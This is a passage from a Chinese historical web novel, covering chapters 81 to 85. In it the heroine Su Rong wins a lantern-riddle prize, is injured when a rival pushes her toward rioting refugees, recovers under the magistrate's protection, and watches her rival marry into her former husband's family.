此时,叶清辞被一群人簇拥过来。看到苏蓉等侍女围着那盏花灯,忽然间来了兴致。
手指花灯对众人道:“今夜七夕盛会。这盏花灯,你们谁能猜出正确字谜,本县照旧给予重赏!”
“来,有没有能够猜出来的,大胆一说?”
大家面面相觑,心想大人喝醉了。那么多贵女猜不出字谜,她们没读过书,大字不识几个,怎么说?
傅振扶着叶清辞,眼睛看向那花灯,嘻嘻而笑:“大人,卑职能不能加入?猜出字谜,一样重赏我。”
叶清辞“啪”的合拢折扇,敲在他头上。
“你与民争利,差那几两银子?”
傅振委屈扁嘴:“几两银子能买十多只烧鸡了,为何不争?”
叶清辞不理他。朦胧醉眼,扫视过现场的人,最后停留在苏蓉身上。
下刻,他眼神变得深邃迷离起来。
苏蓉被他全神贯注盯着一看,蓦地心跳加速。
明明誓言牢记自己“卑贱”身份,但面对叶清辞,不争气的总要胡思乱想。
叶清辞收回视线,淡淡笑指花灯说了一句。
“一刻时间,说出灯谜者,赏银五两!”
他用力拍傅振肩:“别说我没给你机会,你也去猜!”
五两!
在场人无不心动。而傅振上前看了会灯谜,一时半会皱眉没能给出答案。可见这赏银不是好挣的!
苏蓉忍不住了。
瞅周围没有可怕的燕彬存在,上前一步,壮着胆子道:“大人,我知道灯谜!”
“喔?”
叶清辞双目似幽邃星空,划过一道流星,惊碎满眸沉寂的波光。
“说来听听。”
“是一个日字。”
苏蓉清清喉咙,朗声道:“南朝齐、梁两个王朝的皇帝都姓萧。萧萧下,解为齐、梁两朝的下一个朝代,陈。无边,解为去掉边旁。落木,解为去掉木字。”
“故而,陈,除掉边旁是东;东,去掉木是日字。”
(百度)
“啪啪”!
叶清辞情不自禁,鼓起掌来:“解得好!”
了解到这个冷僻不知出处的灯谜,他还苦思冥想好一会。本打算写出来,考一考众学子,没想到花灯挂错地方,放在了女宾处。
邓慧虽然答对两个灯谜,但那是他送给女宾娱乐的简单灯谜,就是图个乐呵。
能意外答出这个放错地方灯谜的苏蓉,才真正令他感到惊奇!
“苏娘子,你以前了解过这道灯谜?”
他不信作为农妇的苏蓉,才智敏捷在他这探花之上。
苏蓉老实回答:“以前的确在一本杂书上看过。”
叶清辞由衷赞叹。
“了解这么冷僻的灯谜,足以证明你所学知识面广博!”
他疑心以苏蓉才学,为什么会落到如今这种落魄地步。但想到苏蓉自己也说记不得从前,只好将这种怀疑,暂埋心底。
傅振招招手,跟随在后的衙役飞快端过来一盘银锭子。叶清辞拿起一锭五两的,亲手递到苏蓉手里。
两人四目相对,苏蓉迅速低头,摆出一副恭敬姿态。
“多谢大人!”
叶清辞带着两分酒意,深深看她一眼,转向众人。
“大家这两日辛苦了!这个月工钱,发双倍!”
“大人英明!”
顿时,庭院内一片欢腾。
大家当然眼馋艳羡苏蓉得赏,可自己没那本事,得认。双倍工钱,到手也是实实在在的好处。
苏蓉握紧银子。
她小金库近六十两银子了!
谁能想到,半年前她一文不名被赶出夫家,落魄到差点死去?
叶清辞是她的贵人。
即便在他眼里她身份卑微,她应该秉持感恩之心!
回到家的邓慧,扑在自己床上,痛哭一夜。
她拼尽全力努力过了,最终仍是失败。
叶大人对她态度淡淡的,即使在夸她时,面色依旧毫无变化。尽管她极其不甘,也不得不承认事实:叶大人对她,没有丁点那方面的想法。
她满腔痴情,终付流水。
陶姨娘带着人走进来,唇角上翘,似笑非笑。
“有些人啊,就是心比天高,命比纸薄。总肖想不该属于自己的,导致咱们邓宅,成了别人眼中的笑话儿!”
邓慧抬起头,眼睛通红。
“你有什么资格在这里嘲笑我?给我滚出去!”
陶姨娘放下手中一叠绣花样子,笑语晏晏。
“不好意思,姨娘暂时不能滚出去。奉老爷名,来教大姐儿女红。这段时间,大姐儿都必须呆在自己房中,不能随意出门。”
邓慧随手抓起桌上一个杯子,朝她的脸猛砸过去!
陶姨娘慌忙举手阻挡。杯子砸在她衣袖上,弹落地面,摔得粉碎。陶姨娘放下袖子,只见自己新做的丽裳被茶水溅污,不由得面色一沉。
“看来大姐儿确实需要好好学规矩!以前夫人纵容你,姨娘受你爹嘱托,却不得不严厉教导了!”
使个眼色,两名膀圆腰粗的粗使婆子,守在了门口。
邓慧面色发白。
第81章 贫穷救了她
隔天,苏蓉上工,听到杂役们议论。刘夫人病势严重,怕撑不到入冬了。
担心刘夫人一去,儿女必须守孝三年。邓教谕正紧急托媒,积极想把邓慧嫁出去。
至于谁把这小道消息传得沸沸扬扬,可能是邓宅人,也可能是那些被邓教谕相中的人家。
苏蓉心想,邓慧终于对叶清辞彻底死心了吗?
叶清辞既然与昭宁公主有关系,普通身份的女子,自然不放在眼里。
她难免对邓慧有种同病相怜的感觉。
转念一想,邓慧好歹是教谕千金,哪轮得到她这种身份更低微的人同情。专心干活多存钱,到时辞了工,回家躺平过富贵咸鱼生活是正经。
现在只差豆子兵给她寻来百年老参、千年灵芝了。
入秋后,夏季闷热逐渐褪去,早晚风裹着凉意。张记炊香阁生意越发好起来。街头多出许多挑着箩筐、推着独轮车、牵着儿女进城的村民。
他们刚纳完公粮,手里稍有余钱。再苦再难,要进店买两个暖乎乎的肉包子,塞进嗷嗷待哺的小儿女手中。
一年到头,这是孩子们最盼望的时刻。
张如英从不通过降低食材品质压缩成本。
真材实料的大肉包,一个个如同挺胸腆肚的大将军,蹲在蒸笼里接受检阅。连各色五花大馒头,盖子一揭开,也散发出浓郁的麦香,诱人食欲。
张记炊香阁出品,有口皆碑。
连续两天放闲日,苏蓉特地挑一天没去店里帮忙。而是揣上钱,去市集逛逛。打算买两件棉衣,送给方婆婆祖孙。
将至冬天,祖孙俩旧衣破破烂烂,根本不能御寒。
她挑了一大一小两件青花布棉衣,花了一两多银子。包好装在背篓里,继续逛街,想再买些粮食。
尚未进米肆,只见一乘小轿擦身而过,停在前面不远的胭脂铺。绿衣丫头扶下身量娇小,一身嫩黄衣裳的邓慧。
两人目光相接。
苏蓉注意到邓慧头上,只簪了两朵绢花,常佩的金质长命锁不见。身上衣裳看似颜色鲜嫩,实际是旧衣。
看来邓慧这段时间,过得的确不好。
见着苏蓉,无精打采的邓慧,表情有了些许变化,眼神变得犀利狠毒。
她不能怨她娘自食其果,也不能恨她爹刻薄寡恩。她能恨得起怨得起的人,只有身份地位远不如自己的苏蓉。
她觉得苏蓉是罪魁祸首。
若不是因为苏蓉,她娘怎会病入膏肓?而若有她娘继续庇护她,后宅也不会被一个姨娘把持,造成她现在出门,还要憋屈地请示对方同意。
想到这些,她盯住苏蓉的目光,如同淬了毒。
苏蓉觉得这人有病。没理会,背着背篓继续朝前走。
快绕过邓家小轿时,突然听到人声喧嚣。与此同时,许多人乱糟糟地从前方掉头跑了回来!
经过她们身边时,有人朝尚懵逼着的她们慌张嘶喊:“快跑呀!前面有许多流民在抢劫杀人了——”
滚滚人流,将措手不及的苏蓉,推挤到邓家小轿边缘。绿衣侍女紧张护住邓慧,怕得快哭了。
“小姐,咱们该怎么办?”
想要叫轿夫来抬轿子,但两名轿夫本是雇来的,危急时刻哪会管客人?丢下轿子,早第一时间随人流逃跑了。
苏蓉拼命朝路边挤。不求能进入那些乒乒乓乓关门的店铺里避难,至少能在人屋檐下找到藏身角落,避免被疯狂逃命的人群踩死。
人多有盲从心理。见苏蓉动作,邓慧主仆下意识跟在她后面奔跑。
苏蓉刚找到死角里一堆箩筐杂物后躲起来,邓慧主仆便哆哆嗦嗦跟了进来。
双方对视一眼,苏蓉默默腾出点空间,放下背篓堵在外面,稍微挡住三人身形。
又没有不共戴天的仇恨,她自然做不到生死关头,把人拦在外面。
脚步杂沓,不时有人跑过去。听到喊杀声惨叫声越来越逼近,邓慧又惊又惧,紧紧抱住自己。
“在这里!这里有人!”
不知谁发现她们藏身地,在外振臂高呼。
透过箩筐缝隙,只见一伙衣衫褴褛、蓬头垢面脏污得看不清五官的家伙,挥舞棍棒柴刀,张牙舞爪冲向这处死角。
邓慧心胆俱裂。
猛地伸出双手,不假思索将身边的苏蓉,用尽力气推出去!
苏蓉做梦没想到,前一刻她做好心农夫,后一刻邓慧竟会变成毒蛇,咬她一口!
完全没有任何防备,就从藏身处滚了出去。腰身重重撞在一个杂物箱子上,刚巧被一枚伸出的铁钉划破。
顿时,鲜血汹涌。刚掏出的几粒豆子,不知道摔落哪里去了!
眼见一伙流民怪叫着扑过来,她顾不上多想,踉跄起身,连滚带爬往墙角边逃窜。
只要拉出距离,她就有时间再从身上摸出粒豆子……
然而,诡异的事发生了!
那伙流民,看也没看在地上挣扎的苏蓉,呼啦啦越过她,直扑死角。认准邓慧那身漂亮衣裳,也认准邓慧那白亮亮的皮肤。
不顾邓慧撕心裂肺哭喊,拼命厮打尖叫救命,逮住她纤细的脚踝把人拖出来,抗在肩头上开跑!
从头到尾被当成背景板的苏蓉,目瞪口呆坐在地上,捂住自己腰,眼睁睁看着对方如同滚滚洪流。
呼啸而来,又呼啸而去。
直到绿衣丫鬟顶着满头满身大脚板泥印子,从死角里跌跌撞撞爬出来,冲到街心痛哭流涕,哀嚎自家小姐,她才如梦初醒。
没想到有朝一日,她会因为贫穷,穿不起好衣裳、养不白胖躲过一劫!
美丽若无自保之力,只会像暴露在沙滩上的珍珠,任人采摘。
一队衙役吆喝着从街道另一头转出来,追向四散奔逃的流民。令人惊讶的是,金安福十分勇猛,冲在队伍前列。
苏蓉咬紧牙关,扶着墙慢慢爬起来,捡回自己背篓。想趁现在比较安全去医馆。
铁钉入肉很深,划破一大块皮肉。铁钉上还带有铁锈,这时代若不尽快医治,会因破伤风死人的!
她恨透恩将仇报的邓慧。
对方被流民掳去,会落得怎样下场,她毫不关心。
摇摇晃晃坚持走一段路,腰部剧痛令她疼不可忍。创口流血不止,染红半边裙幅。使出吃奶的劲按紧伤处,也无济于事。
街上人全部在东奔西跑,自顾不暇,没人有功夫来关心她伤势。
最终倒下去的时候,苏蓉模糊视野内,瞧见一道熟悉身影,向她狂奔而来。面上焦急之色,溢于言表。
“苏娘子!”
她闭上眼睛,内心涌出一种莫名悲哀。
没有开花结果的可能,为什么在她绝望时,老天爷总会给她一分微薄希望?
第82章 英雄救美
叶清辞掠至跟前,堪堪来得及捞住苏蓉一片衣角,避免她头着地。
看着半身染血的苏蓉,他心脏蓦地漏跳一拍!
没有多做犹豫,他立刻抱起苏蓉,顺手抹下她身上背篓,塞给紧随在后的傅振。
“你们继续去追那伙生事的流民!传令四门封城,别让可疑人逃出宜阳县!”
说罢,丢下大队人马,火速朝就近医馆疾奔而去。
“大人!”
傅振一手提剑,一手抱背篓,人有点傻。
燕彬冷哼一声,招呼身后衙役军卒:“跟我来!”
当先杀向落后几名狂徒。
今日不多宰几个贼人,心头一股邪火不知该怎样发泄!
傅振挠头,只得把背篓自个负上,随后赶去。
等苏蓉从昏迷中醒来,人已躺在医馆内的小床上。
腰伤被绷带紧紧包扎好,空气中,弥漫一股浓郁的血腥味和药水味。哀嚎呻吟声交织一起,不绝于耳。
看来一场混乱,导致无数百姓受难,医馆人满为患。
隔着扇屏风,她听见傅振的声音,稍微压低在向叶清辞禀报。
“大人,大部分闹事流民抓住了。他们说,是因看见有人在市集打架斗殴,将一个个吃食摊子掀翻。饿得受不住,才会忍不住一涌上前抢夺。”
“人太多,乱糟糟造成踩踏事故,有人高呼杀人,百姓所以吓得四处奔逃。”
燕彬冷声道:“之前封城,就应该把清理出来的流民,全部赶出城去,或者官卖!”
他的意思,大概是埋怨叶清辞心慈手软,导致宜阳县流民队伍壮大,才有今日结果。
叶清辞没理他,问傅振:“剩余的闹事者逃出城了?”
“是。”
傅振顿了下:“来不及关城门,金安福带领几名衙役,追出去了!这小子倒是突然勇猛起来……”
他对金安福没有好感。
最后一句话,饱含轻视和质疑。
听到这里,苏蓉忍不住发出一点声音。
叶清辞立刻抛下傅振和燕彬,大步转过屏风来看她。见她醒了,面上掠过喜色,随即板下脸,以一贯的冷静之色看着她。
“苏娘子,你醒了?这里不安全,本官安排车,送你回衙门!”
傅振无语。
不安全?这么多人挤在医馆里呢,谁不安全?
燕彬抿紧双唇,眸子里隐藏怒意,偏过头。不想看这两人相互之间凝视、欲盖弥彰的眼神,省得自己生气。
“大人……”
苏蓉微颤着失血过多而发白的唇瓣,慢慢道:“教谕千金……邓小姐被流民掳走了!”
这件事,叶清辞早晚会知道。她作为目击者,知情不报,事后可能在他心目中落下心胸狭窄的印象。
能不能把人救回来,不关她事。反正第一时间,她给出过信息了。
叶清辞三人皆是一惊!
本以为只是流民闹事,趁火打劫。如今学官之女被流民掳走,那性质就严重了!
而且一位待字闺中的弱女子,落到贼徒手中,会遭遇什么,不堪设想!
“这是真的?”
燕彬审视苏蓉表情变化。
苏蓉忍着伤痛,蹙眉答:“我们躲在同一个地方……我受伤了,眼睁睁看着她被流民掳走。她的丫鬟,不知被人流冲散去了哪里?”
叶清辞当机立断。
“傅振、燕彬,召集人手,我们立即出城寻找!”
傅振、燕彬二人闻言,马上飞奔出去。趁这功夫,叶清辞抱起苏蓉,把她送上马车,派衙役送回衙门。
这个时候县城一团乱,不能放心苏蓉留在医馆。无外人在时,他眉眼方能流露出丝丝关切。
“苏娘子,你伤势不轻,养伤期间,最好别离开县衙。”
只有在他眼皮子底下,他才能给予最好保护。
苏蓉心里一暖。
“谢谢大人!”
随即闭上眼睛,继续昏睡。
多余的,她不敢想,不该想。
叶清辞火速点起一支人马出城。尚未来得及辨别踪迹,寻找流民出逃方向,只见一匹快马驰回。
马上金安福紧抱衣衫不整的邓慧,满脸神气活现。身上皂隶服沾染尘土血迹,嘴角有块乌青。除此之外,什么异常也没有。
邓慧明显吓傻了。
如同考拉一般,牢牢攀附在金安福身上。见到叶清辞,也没回过神来。
众人谁不知道金安福文不成,武不就?见他今日竟然大显身手,英雄救美,不禁惊讶无比。
有要好的衙役,立即上前打趣金安福。
“你小子行啊!竟然从贼人手中,把邓小姐救了回来?邓教谕若知道,还不奉你为座上宾!”
“运气,运气!”
金安福得意扬扬,一手挽马缰,一手抱住邓慧不撒手:“还好我在集市上捡了匹马,不然,追不上那群恶徒!”
说着,驱马来到叶清辞面前,貌似恭敬道:“大人,邓小姐受惊非小,属下先送她回家?”
叶清辞打量神不守色的邓慧,尽管对金安福的行为心存疑惑,仍是点了点头。
“去吧!你此次救回邓小姐,大功一件,本县过后自会嘉奖你!”
金安福大喜:“多谢大人!”
刚要走,叶清辞叫住他:“跟随你出城的其他几名衙役,何在?”
金安福用下巴示意身后:“大人,他们在收拾那伙贼徒呢!我担心邓小姐,所以急着先送她回城。”
叶清辞怕出意外,急忙带人赶往金安福指点的地方。隔得老远,便闻到一股浓郁的血腥气。
待靠近,只见七八具流民的尸体,身首异处倒在地上。三名随金安福出城的衙役,正在弯腰搜刮尸体。
见叶清辞等人赶至,手抖了抖,连忙解释。
“大人,我们在搜查这伙贼徒,究竟是什么来路……”
叶清辞蹙眉,没有理会他们的小心思。而是看向场中,大马金刀立着的一条壮硕青年。
“金竹海,你为何在此?”
金竹海扯块帕子,擦去刀上血,弄脏后丢在地上。
“叶大人,今日我休沐,在城中闲逛。遇见集市有人闹事,追出城来,正好帮了自家兄弟一把!”
众人恍然。
怪不得今日金安福大展神威。原来有他大哥帮忙,对付几个流民,自然不在话下。
叶清辞望向地上零碎尸块,暗想金竹海不是一般的心狠手辣。手下非但不留活口,杀人手法也是暴戾。
跟“岷郡王氏”有得一拼!
不过岷郡王氏他们打过照面,相貌体型,绝对不是金竹海。
小小宜阳县,处处透着诡异危险。
第83章 王八配绿豆
金安福的英勇名声,第二天传遍宜阳县。与之对应的,是邓慧闺誉受损。
比起金安福,吃瓜群众更津津乐道谈论教谕千金当日的狼狈。猜测落在流民手中那段时间,大小姐遭遇过什么事?
金家兄弟和三名当事者衙役,把贼徒杀绝了,不妨碍他们胡编乱造,将没看见的过程描述得分外香艳惊险。
甚至有人信誓旦旦,邓小姐一定不清白了。
流言可畏。
邓教谕在县学里子面子,彻底没了。
气得他回家,狠狠赏了嘤嘤哭泣的邓慧几个大耳刮子!
“让你禁足在家,好好自省,你又偷偷跑出门,闯下这滔天大祸!现在外面疯传你落在贼人手中,失去清白,你叫为父脸往哪搁?”
“老爷息怒!”
陶姨娘连忙上前,帮忙抚邓教谕胸口。邓教谕手指颤抖,面如土色跌坐在椅子上。
“还有,回城时众目睽睽,你竟然与那金安福共乘一骑,在马背上搂搂抱抱……你!”
他恨不得再打邓慧一顿。
“你的礼义廉耻去哪里了?就这样,你将来还能指望嫁得出去?”
邓慧说不出话,顶着脸上的巴掌印,嚎啕大哭。
她也没想到事情会演变成这样!
明明把苏蓉推出去挡那群流民了,可对方压根不理会苏蓉,直奔她来。
她自傲自骄的容貌身份,成了她的催命符。
邓教谕怒火中烧,又训斥陶姨娘:“让你好好管理內宅,约束大姐儿,你怎么就放她出门了?”
陶姨娘叫起撞天曲。
“老爷,妾身只是个姨娘,她是嫡出小姐。大姐儿用身份地位压妾身,妾身也不得不退让啊?”
瞥眼哭得眼睛红肿、说不出话的邓慧,心头痛快不已。
活该!
贱人有天收。
邓教谕一巴掌拍在椅子扶手上,想再说点什么,刘管家匆匆进门,恭敬回禀。
“老爷,金督尉携弟金安福到访!”
邓教谕与陶姨娘对视一眼。
邓慧抬起满是泪痕的脸,怔怔望向门外。
昨日回城,一路金安福不断甜言蜜语。安抚她别怕,他愿意誓死保护她。这么快,对方就兑现诺言登门了?
心里莫名松口气。但是,还是有种不甘、苦涩的滋味涌上来。
如果…… 昨日是叶大人出手,救她于水火该多好!
闭上眼睛。
罢了,或许这都是命!
苏蓉在县署內宅养伤,隔天便从照顾她的罗碧珠、跑来看望她的张如英等人口中,知道邓教谕把女儿许配给金安福的事。
因为流言四起,加上刘夫人病重,嫁娶日期不得不提前在一个月后。
老金氏出整二十两银子的聘礼,对比苏蓉当初倒贴嫁进金家,大出血。
然在邓家人眼里看,自家大姐儿从此落户丰定村,成了乡下村妇,简直落魄!唯一指望的是,金竹海今后能继续高升,带携自己小弟。
苏蓉扶着自己稍微动弹就疼不可忍的腰,暗地冷笑。
王八配绿豆,一对!
邓慧害人害己,落入金家虎口,咎由自取!
倘若对方不着急害她,说不定当时她就召唤出铜甲兵,解救出三人。哪轮得到金家兄弟立功,“英雄”救美?
思忖金家人德行,她甚至怀疑,这是一个阴谋。金安福为娶邓慧,贼喊捉贼弄出的把戏!
不过听说这次流民骚乱,死了好几人,踩踏伤者无数,市集不少店铺小贩遭殃。金安福没那个胆子和能力,筹划组织这次行动吧?
流民之祸,远超预估。
一开始只觉得宜阳县外来人口逐渐增多。不知不觉,这些活在最底层、没有身份地位,被原住民视为阴沟老鼠的流民,聚集在一起生事。
不管他们有没有被金家收买,这次突发事件,意味官府以前对待流民的政策,有些怀柔,必须要加强管理才是。
当然,那是叶清辞该操的心。她躺在床上,无聊想想而已。
罗碧珠奉命照顾她。
养伤期间,她不能练习自己的金手指。只能靠来探望自己的人,传递一些新鲜信息打发时间。
叶清辞很忙,或者是为避嫌,偶尔向罗碧珠问起苏蓉养伤情况。傅振倒不避忌来看过苏蓉两回。将自己最爱的烧鸡,换成炖鸡给送过来。
傅振嘴巴不饶人,熟悉后只要忽略这一点,不把他的毒舌往心里记,自然好相处。
比起叶清辞的淡然疏离,燕彬冷酷,下人们更喜欢个性开朗,行事直率的傅爷。
傅振此刻坐在苏蓉的房间里,旁边是罗碧珠、曾嬷嬷,就在八卦地听他侃大山。
话说多了,傅振会不经意透露外面普通人不知道的内幕消息。
“这回在城里抓了上百名没有身份证明、路引的流民。大人发狠了,要好好治理这些不知通过什么渠道,在县城寄居的家伙!”
“我们两天时间,查封大大小小几十家客栈和民租房。”
“燕彬哥昨日还被大人狠狠训斥,责备他作为典史,没有把好户籍管理这一关。”
苏蓉……
傅振这大嘴巴子,一点不怕燕彬的眼刀子和剑呢?
不过,叶清辞、傅振、燕彬,这三人相互间的关系有点奇怪。 照理叶清辞是两人顶头上司,且三人私交甚笃。但某些时候,像上次她偷听到的,燕彬好像又能威胁叶清辞?
她郁郁不乐。
那位昭宁公主究竟是谁?
叶清辞曾经爱过的人吗?如果是,燕彬又有什么资格,以此威胁叶清辞?
傅振离开后,衙役来报:衙门外有一对祖孙自称姓方,要见苏蓉。
苏蓉一阵惊喜:“是方婆婆!碧珠姐,麻烦你去将她们接进来?”
方婆婆心疼车钱,一个月才带着小兰进城一次,卖些干药草。山货则是都送给苏蓉吃了。
两家人不是亲人,走动得犹如一家人亲密。
曾嬷嬷不苟言笑踱步出去。
“我去吧。碧珠,你照顾好苏氏!”
一开始把苏蓉当成妄想攀高枝的女人,着实没好气。了解到苏蓉孤苦伶仃无依无靠,又不免可怜她。
所以,曾嬷嬷就是那种刀子嘴豆腐心的人。不一会儿,领了小心翼翼的方婆婆祖孙,进入县署內宅。
见方小兰眼泪汪汪,第一时间欲扑到苏蓉的床上,急忙捞住后领把人拎回来。
“这傻孩子!她受着伤呢,给你这一压,能好起来?”
第84章 邓慧出阁
苏蓉安抚吓得不敢动弹说话的方小兰:“没事,苏姨好多了……”
大家体谅地离开,让方婆婆祖孙和苏蓉说些体己话。
方婆婆身处消息相对闭塞的山村,本来没这么快知道苏蓉受伤的事。偏巧邓家和金家结亲。
老金氏大张旗鼓送聘礼、合八字、给金安福布置新房。于是全村人知道了。蒲里正带头到金家恭贺,魏氏组织村民登门帮忙。
所以,打听到城里发生动乱,担心苏蓉安危的方嬷嬷,第一时间带孙女坐车进城,探望苏蓉。
此时揭开被子,看到苏蓉包扎得如同蝉蛹一样的腰,白色绷带上染着尚未完全变干涸的血色,眼圈立马红了。
“妮儿,你怎会伤得如此重?那些流民真该死!”
苏蓉苦笑摇头,拉祖孙俩在床边坐下来。
她一家也曾经是流民。而且这次流民之乱,应是少数有心人故意滋事,引发宜阳县民众与流民们的争端。
实际大多数流民,是受天灾人祸所累,被迫背井离乡的无辜百姓。
只要有吃有穿,日子勉强过得下去,善良的底层人民从不会反抗上层的暴政。
“方婆婆,我是逃跑时撞到带钉子的木箱子,不小心划伤。现在养了两天伤口差不多愈合,您和小兰不要担心!”
“苏姨,你疼吗?”
方小兰用双手捧住苏蓉的一只手,眼泪汪汪轻轻抚摸。好像这样做,就能让苏蓉疼痛减轻。
苏蓉笑着摸她的头,让方婆婆帮忙,把放墙角的背篓拿过来,掏出里面两件新棉衣。
“还好当日这背篓没丢。本打算给你们送回村,现在你们来了正好,试试看合身吗?”
她买得稍大,里面还能加几件单衣夹衣。
方婆婆摸着厚实暖和的新棉衣,老泪纵横。
苏蓉不是亲骨肉,胜似亲骨肉。这份恩情,不知小兰将来有没有机会还报。
“妮儿,你是因为买这两件棉衣,才遭祸的是不是?倘若你因此有个好歹,叫方婆婆以后,如何有脸来见你!你……”
她想把棉衣狠狠摔在地上,又舍不得,只能抱住苏蓉,泪流满面。
“妮儿,答应方婆婆,以后别再给我们买东西了!欠你的恩情,下辈子我们也偿还不了……”
“你这,方婆婆即便到了九泉之下,也不能安心闭眼啊!”
苏蓉握住她粗糙如老树皮的手,看着小兰乌溜溜的大眼睛,轻声道:“婆婆,我孤苦伶仃,当你们是我家人。您不愿意当我的家人吗?”
方婆婆心中酸楚,对她既怜又疼,握紧她的手。
“婆婆一定是三世积德,才能在这辈子遇见你,妮儿!”
门外,叶清辞放下准备敲门的手,悄然离去。
本想看望苏蓉,现在倒不好进去了。
方婆婆是个勤快人,让小兰陪着苏蓉说话,赶紧把一背篓带来的山货,还有一只煨好装在瓦罐里的老母鸡,捧了出来。
“妮儿,这鸡是婆婆半夜起来现杀煲的汤,一路抱着还温热,你来吃点!受了伤,流那么多血,必须得补补。” 听苏蓉的话,她在家养了几只老母鸡下蛋。平常宝贝的鸡冷了热了念叨不停,一想到要给苏蓉吃,二话不说立马宰了,用野菌菇炖上。
托傅振的福,苏蓉这两天一天三顿没断过鸡。看到方婆婆舀出的一碗鸡肉,汤里泛着油光,她忍不住舔舔嘴唇。
方婆婆这鸡,自然没有县衙大厨做得好,佐料齐全。但方婆婆大老远带来心意更甚。
她没有拒绝老人颤巍巍亲手送到嘴边的大土碗,喝了半碗汤,吃了几块肉。然后好说歹说,哄着方婆婆祖孙也吃了些。
方婆婆道:“妮儿,我把家里收拾好了,打算带着小兰在这里住几天,照顾你到好。你看怎样?”
说这话时她有些犹豫。
毕竟苏蓉在县衙打工。作为下人,能不能留她祖孙俩未必可知。
“婆婆,你和小兰不用担心我。”
苏蓉一听忙道:“县令大人特地吩咐了碧珠姐照顾我。这里是县衙,你们不便逗留。要不,我把家里钥匙给你们,你们回家去住?”
方婆婆眼睛不好使,自理不容易。小兰又小,留下来她倒操心。
方婆婆听苏蓉有人照顾,也不勉强。
“那我带小兰去你家住着,每天给你送饭。”
苏蓉讪讪道:“婆婆,县衙包饭,一日三餐外加点心……您做您和小兰的饭就行了。”
不知是不是叶清辞特意关照,她这两天的伙食,比平日吃的大锅饭精致丰盛多了。
除了傅振友情赞助的鸡,还有鱼,平日极其少见的水果也给她送过来。
方婆婆有点傻眼。
真这样,那她带孙女留下来纯纯多余,还拖后腿。
苏蓉把钥匙从枕头底下摸出来递给她,撒善意的谎言:“婆婆,你来了正好帮我守房子。现在县城乱,我很担心家里丢东西。”
方婆婆闻言,顿觉自己非无用之身,接过钥匙挺直腰板道:“有我们祖孙俩在,谁敢去你家里偷东西?妮儿,你便放心吧!”
苏蓉抿嘴笑,又给出五两银子。
“城里不比乡下,什么都要钱。婆婆,你们帮我看房子,千万别亏待了自个。”
“哪用得了这么多?方婆婆自己有带钱!”
方婆婆惊讶她出手便是五两,知道她存心接济自己,死活不接。苏蓉劝说良久,最后嚷嚷自己伤口裂开了,方婆婆方才勉强收下二两银子。
苏蓉心里叹气,想帮这对祖孙过上好日子,难如登天。不过方婆婆这性子,倒令她越发尊重亲近。
有人关心照顾,苏蓉伤势,很快好了个七七八八。
在她扶着墙撑着腰能在方婆婆祖孙俩搀扶下,慢慢下地走动时,听到县衙外隐隐传来鼓乐声。
在旁擦拭家具的罗碧珠停住动作,有些向往地望向窗外:“听说今日是教谕千金邓小姐出阁的大日子。这声音,一定是金家人进城迎亲了!
苏蓉知道,罗碧珠为照顾她,一个月没休假回家看看,更别说瞅这种热闹了。
她歉意道:“碧珠姐,这里有婆婆和小兰照顾我,你想瞧热闹,就去吧!”
罗碧珠确实意动。 踌躇一番看着苏蓉道:“苏妹子,你能下床了,不如咱们一起去后角门瞧热闹?”
第85章 皇帝驾崩
方小兰小心翼翼扶住苏蓉,抢着道:“罗姨,我苏姨向来不喜欢凑热闹,要看,您自己去看吧!”
罗碧珠马上反应过来。
苏蓉被金家休弃赶出家门,现在让她去看金家喜庆的热闹,不是杀人诛心?
她还没有一个孩子懂事!顿时臊红了脸,讪讪道:“那、那你们继续走走,别让苏妹子累着了。我去看看厨房把药煎好没有?”
她也没兴趣瞅热闹了,转身直奔厨房。
等她走后,方婆婆祖孙担心地看着苏蓉表情变化,怕她不开心。
苏蓉笑了,王八接绿豆进门,关她什么事?别看邓慧年纪小,外表娇媚,和她娘一样不是省油的灯。
老金氏性格强势,在家作威作福惯了,与邓慧针尖对麦芒,以后有的是好戏看。
自从暗杀金竹海失败,她现在倒不急于弄死金家母子。日常坐等吃瓜不是更好?
又躺半个月,等伤口彻底结痂,能慢慢干些轻活了。方婆婆不顾苏蓉苦苦挽留,还给钥匙,硬牵着方小兰回村去了。
在这里吃苏蓉的住苏蓉的,没什么活干,还惦记自家的小块菜地,托给邻居养的鸡,必须要回家看看。
苏蓉只得去集市买些粮,给小兰买几根扎头发的丝带,将祖孙俩送上回村的骡车。
回来路上,发现县衙外面的八字墙,贴上新鲜出炉的告示。周围围满人,一位老秀才在中间摇头晃脑,抑扬顿挫给大家念上面写的啥。
苏蓉挤不进人圈,站在人圈外听了听。原来是关乎梅主簿等人的案子,上面流程终于走完了,最终裁决结果下达公文,传递回宜阳县。
汤县丞、梅主簿、马县尉等贪官污吏,一律处斩。家产充公,妻小发卖。
老秀才每念一句,侧耳倾听的群众便爆发出一阵欢呼!除掉盘亘宜阳县多年的毒瘤,这块土地终于拨云见日,能见一片青天。
苏蓉身同感受老百姓的喜怒哀乐。无论在何时何地,底层人民对残酷奴役自己的权贵们,皆是爱憎分明。
叶清辞这样的清官,可遇不可求。
她正想离去,不远处两道熟悉的声音旁若无人交谈,吸引她的注意。
“安福,之前服侍我的那个丫头小琴,失踪了,你们衙役没有找到她吗?”
“衙门这么多事,怎么顾得上找一个小丫头?她是不是自己趁乱逃跑都难说!”
苏蓉顿时听出来,这是金安福和邓慧。
两人新婚燕尔在乡下住了半个月,这就呆不住回城了?
怕被两人当街撞见,引发不必要的麻烦,她放弃马上回衙门的打算,挤在人群里,避开两人视线。
不过两人交谈的声音,还往她耳里钻。
“我身边差人侍候!”
邓慧看起来婚后过得不错。语气含有一丝不快,但嗓音娇娇的,仿佛在对金安福耍小性子。这是只有感情亲密了才会这么做。
金安福好不容易娶房合心意的小媳妇,恨不得化在邓慧身上,满口答应。
“差人咱就去买人!大哥私下给了我三十两银子,够买好几个丫头了。”
至于买回去怎么养,他不操心。有老金氏呢,他知道老金氏棺材本藏的不少。何况邓慧自己也有嫁妆。 “这告示不是说的,会官卖犯官家眷?我要买梅玉儿!”
“梅玉儿?”
金安福有些疑惑。
“就是梅主簿的女儿梅玉儿啊!”
邓慧叉腰跺脚,大发娇嗔。
“她以前不可一世,曾经欺负过我。安福,你一定要帮我买她回来,让我好好出气!”
金安福一听,原来是这么回事。忙安抚新婚小娇妻:“原来是这么回事,那我去帮你打听打听。等开始官卖了,第一时间托人给你弄来。”
“敢欺负咱的慧儿,她是不想活了,哼!”
邓慧满意地笑了。想着在她面前骄傲得像只孔雀的梅玉儿,以后只能在她面前屈膝求饶,嘴角压不住往上翘。
两人离开后,苏蓉也悄悄回了县署內宅。
